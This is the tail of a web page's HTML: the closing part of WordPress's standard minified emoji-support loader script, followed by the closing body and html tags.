null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(s),u.toString(),c.toString(),p.toString()].join(",")+"));",a=new Blob([e],{type:"text/javascript"});const r=new Worker(URL.createObjectURL(a),{name:"wpTestEmojiSupports"});return void(r.onmessage=e=>{i(n=e.data),r.terminate(),t(n)})}catch(e){}i(n=f(s,u,c,p))}t(n)}).then(e=>{for(const n in e)a.supports[n]=e[n],a.supports.everything=a.supports.everything&&a.supports[n],"flag"!==n&&(a.supports.everythingExceptFlag=a.supports.everythingExceptFlag&&a.supports[n]);var t;a.supports.everythingExceptFlag=a.supports.everythingExceptFlag&&!a.supports.flag,a.supports.everything||((t=a.source||{}).concatemoji?r(t.concatemoji):t.wpemoji&&t.twemoji&&(r(t.twemoji),r(t.wpemoji)))});
//# sourceURL=https://www.vladimirkoskov.ru/wp-includes/js/wp-emoji-loader.min.js
/* ]]> */
</script>

</body>
</html>